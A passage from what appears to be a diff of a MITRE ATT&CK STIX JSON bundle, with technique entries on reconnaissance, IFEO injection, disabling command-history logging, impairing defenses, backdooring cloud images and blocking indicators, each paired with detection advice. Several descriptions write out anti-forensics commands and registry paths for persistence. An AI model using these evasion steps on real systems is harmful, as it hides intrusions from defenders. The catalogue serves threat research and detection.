Z., Cherepanov, A. (2021). Anatomy of Native IIS Malware. Retrieved September 9, 2021.", + "source_name": "ESET IIS Malware 2021" + }, + { + "source_name": "Unit 42 RGDoor Jan 2018", + "description": "Falcone, R. (2018, January 25). OilRig uses RGDoor IIS Backdoor on Targets in the Middle East. Retrieved July 6, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-oilrig-uses-rgdoor-iis-backdoor-targets-middle-east/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "IP Addresses", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:31:05.302Z", + "created": "2020-10-02T15:59:11.695Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3", + "description": "Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1590/005", + "external_id": "T1590.005", + "source_name": "mitre-attack" + }, + { + "url": "https://www.whois.net/", + "description": "NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.", + "source_name": "WHOIS" + }, + { + "url": "https://dnsdumpster.com/", + "description": "Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.", + "source_name": "DNS Dumpster" + }, + { + "url": "https://www.circl.lu/services/passive-dns/", + "description": "CIRCL Computer Incident Response Center. (n.d.). Passive DNS. Retrieved October 20, 2020.", + "source_name": "Circl Passive DNS" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Identify Business Tempo", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:38:31.983Z", + "created": "2020-10-02T16:34:32.435Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2339cf19-8f1e-48f7-8a91-0262ba547b6f", + "description": "Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization\u2019s business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim\u2019s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1591/003", + "external_id": "T1591.003", + "source_name": "mitre-attack" + }, + { + "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/", + "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", + "source_name": "ThreatPost Broadvoice Leak" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-04-15T03:39:08.904Z", + "name": "Identify Roles", + "x_mitre_version": "1.0", + "created": "2020-10-02T16:37:30.015Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--cc723aff-ec88-40e3-a224-5af9fd983cc4", + "description": "Adversaries may gather information about identities and roles within the victim organization that can be used during targeting. Information about business roles may reveal a variety of targetable details, including identifiable information for key personnel as well as what data/resources they have access to.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business roles may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1591/004", + "external_id": "T1591.004", + "source_name": "mitre-attack" + }, + { + "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/", + "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.", + "source_name": "ThreatPost Broadvoice Leak" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:29:30.417Z", + "name": "Image File Execution Options Injection", + "created": "2018-01-16T16:13:52.465Z", + "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1183", + "external_id": "T1183", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Dev Blog IFEO Mar 2010", + "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.", + "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/" + }, + { + "source_name": "Microsoft GFlags Mar 2017", + "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.", + "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview" + }, + { + "source_name": "Microsoft Silent Process Exit NOV 2017", + "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.", + "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit" + }, + { + "source_name": "Oddvar Moe IFEO APR 2018", + "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.", + "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "FSecure Hupigon", + "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.", + "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml" + }, + { + "source_name": "Symantec Ushedix June 2008", + "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-11-10T18:29:31.112Z", + "name": "Image File Execution Options Injection", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "created": "2020-01-24T15:05:58.384Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6", + "description": "Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Oddvar Moe, @oddvarmoe" + ], + "x_mitre_detection": "Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/012", + "external_id": "T1546.012", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft Dev Blog IFEO Mar 2010", + "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.", + "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/" + }, + { + "source_name": "Microsoft GFlags Mar 2017", + "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.", + "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview" + }, + { + "source_name": "Microsoft Silent Process Exit NOV 2017", + "description": "Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.", + "url": "https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit" + }, + { + "source_name": "Oddvar Moe IFEO APR 2018", + "description": "Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.", + "url": "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/" + }, + { + "source_name": "Tilbury 2014", + "description": "Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.", + "url": "http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/" + }, + { + "source_name": "Elastic Process Injection July 2017", + "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", + "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + }, + { + "source_name": "FSecure Hupigon", + "description": "FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.", + "url": "https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml" + }, + { + "source_name": "Symantec Ushedix June 2008", + "description": "Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Impair Command History Logging", + "x_mitre_data_sources": [ + "Sensor Health: Host Status", + "Command: Command Execution" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-24T13:59:12.787Z", + "created": "2020-02-21T20:56:06.498Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--8f504411-cb96-4dac-a537-8d2bb7679c59", + "x_mitre_defense_bypassed": [ + "Host forensic analysis", + "Log analysis" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may impair command history logging to hide commands they run on a compromised system. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. \n\nOn Linux and macOS, command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected.\n\nAdversaries may clear the history environment variable (unset HISTFILE) or set the command history size to zero (export HISTFILESIZE=0) to prevent logging of commands. Additionally, HISTCONTROL can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. Adversaries can abuse this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nOn Windows systems, the PSReadLine module tracks commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\\Microsoft\\Windows\\PowerShell\\PSReadLine\\ConsoleHost_history.txt by default). Adversaries may change where these logs are saved using Set-PSReadLineOption -HistorySavePath {File Path}. This will cause ConsoleHost_history.txt to stop receiving logs. Additionally, it is possible to turn off logging to this file using the PowerShell command Set-PSReadlineOption -HistorySaveStyle SaveNothing.(Citation: Microsoft PowerShell Command History)(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)", + "x_mitre_contributors": [ + "Vikas Singh, Sophos", + "Emile Kenning, Sophos" + ], + "x_mitre_detection": "Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL, HISTFILE, or HISTFILESIZE environment variables may be suspicious.\n\nMonitor for modification of PowerShell command history settings through processes being created with -HistorySaveStyle SaveNothing command-line arguments and use of the PowerShell commands Set-PSReadlineOption -HistorySaveStyle SaveNothing and Set-PSReadLineOption -HistorySavePath {File Path}. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1562/003", + "external_id": "T1562.003", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/13.html", + "external_id": "CAPEC-13", + "source_name": "capec" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7", + "description": "Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.", + "source_name": "Microsoft PowerShell Command History" + }, + { + "url": "https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit", + "description": "jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.", + "source_name": "Sophos PowerShell command audit" + }, + { + "url": "https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics", + "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.", + "source_name": "Sophos PowerShell Command History Forensics" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Impair Defenses", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Process: Process Termination", + "Windows Registry: Windows Registry Key Modification", + "Windows Registry: Windows Registry Key Deletion", + "Command: Command Execution", + "Service: Service Metadata", + "Sensor Health: Host Status", + "Script: Script Execution", + "Firewall: Firewall Disable", + "Firewall: Firewall Rule Modification", + "Cloud Service: Cloud Service Modification", + "Cloud Service: Cloud Service Disable" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-19T13:37:31.463Z", + "created": "2020-02-21T20:22:13.470Z", + "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Signature-based detection", + "Host intrusion prevention systems", + "File monitoring", + "Digital Certificate Validation", + "Host forensic analysis", + "Log analysis", + "Firewall" + ], + "x_mitre_platforms": [ + "Windows", + "Office 365", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1562", + "external_id": "T1562", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Implant Internal Image", + "x_mitre_data_sources": [ + "Image: Image Creation", + "Image: Image Modification" + ], + "x_mitre_version": "2.0", + "modified": "2021-04-12T18:28:27.948Z", + "created": "2019-09-04T12:04:03.552Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--4fd8a28b-4b3a-4cd6-a8cf-85ba5f824a7f", + "x_mitre_platforms": [ + "IaaS", + "Containers" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may implant cloud or container images with malicious code to establish persistence after gaining access to an environment. Amazon Web Services (AWS) Amazon Machine Images (AMIs), Google Cloud Platform (GCP) Images, and Azure Images as well as popular container runtimes such as Docker can be implanted or backdoored. Unlike [Upload Malware](https://attack.mitre.org/techniques/T1608/001), this technique focuses on adversaries implanting an image in a registry within a victim\u2019s environment. Depending on how the infrastructure is provisioned, this could provide persistent access if the infrastructure provisioning tool is instructed to always use the latest image.(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)\n\nA tool has been developed to facilitate planting backdoors in cloud container images.(Citation: Rhino Labs Cloud Backdoor September 2019) If an attacker has access to a compromised AWS instance, and permissions to list the available container images, they may implant a backdoor such as a [Web Shell](https://attack.mitre.org/techniques/T1505/003).(Citation: Rhino Labs Cloud Image Backdoor Technique Sept 2019)", + "x_mitre_contributors": [ + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee", + "Praetorian" + ], + "x_mitre_detection": "Monitor interactions with images and containers by users to identify ones that are added or modified anomalously.\n\nIn containerized environments, changes may be detectable by monitoring the Docker daemon logs or setting up and monitoring Kubernetes audit logs depending on registry configuration. ", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1525", + "external_id": "T1525", + "source_name": "mitre-attack" + }, + { + "url": "https://rhinosecuritylabs.com/aws/cloud-container-attack-tool/", + "description": "Rhino Labs. (2019, August). Exploiting AWS ECR and ECS with the Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.", + "source_name": "Rhino Labs Cloud Image Backdoor Technique Sept 2019" + }, + { + "url": "https://github.com/RhinoSecurityLabs/ccat", + "description": "Rhino Labs. (2019, September). Cloud Container Attack Tool (CCAT). Retrieved September 12, 2019.", + "source_name": "Rhino Labs Cloud Backdoor September 2019" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-19T19:10:25.404Z", + "name": "Indicator Blocking", + "created": "2017-05-31T21:30:47.384Z", + "id": "attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1054", + "external_id": "T1054", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/571.html", + "external_id": "CAPEC-571", + "source_name": "capec" + }, + { + "source_name": "Microsoft Lamin Sept 2017", + "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events", + "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.", + "source_name": "Microsoft About Event Tracing 2018" + }, + { + "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.", + "source_name": "Medium Event Tracing Tampering 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Indicator Blocking", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Sensor Health: Host Status", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2021-01-13T15:56:04.897Z", + "created": "2020-03-19T19:09:30.329Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host intrusion prevention systems" + ], + "x_mitre_platforms": [ + "Windows", + "macOS", + "Linux" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--74d2a63f-3c7b-4852-92da-02d8fbab16da", + "description": "An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1059/001) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the [PowerShell](https://attack.mitre.org/techniques/T1059/001) Set-EtwTraceProvider cmdlet or by interfacing directly with the Registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ", + "x_mitre_contributors": [ + "Rob Smith" + ], + "x_mitre_detection": "Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1562/006", + "external_id": "T1562.006", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/571.html", + "external_id": "CAPEC-571", + "source_name": "capec" + }, + { + "source_name": "Microsoft Lamin Sept 2017", + "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.", + "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events", + "description": "Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.", + "source_name": "Microsoft About Event Tracing 2018" + }, + { + "url": "https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63", + "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019.", + "source_name": "Medium Event Tracing Tampering 2018" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-03-20T15:22:53.835Z", + "name": "Indicator Removal from Tools", + "created": "2017-05-31T21:30:54.176Z", + "id": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1066", + "external_id": "T1066", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Indicator Removal from Tools", + "x_mitre_version": "1.0", + "modified": "2020-03-29T21:03:09.766Z", + "created": "2020-03-19T21:27:32.820Z", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Host intrusion prevention systems", + "Log analysis", + "Signature-based detection" + ], + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--b0533c6e-8fea-4788-874f-b799cacc4b92", + "description": "Adversaries may remove indicators from tools if they believe their malicious tool was detected, quarantined, or otherwise curtailed. They can modify the tool by removing the indicator and using the updated version that is no longer detected by the target's defensive systems 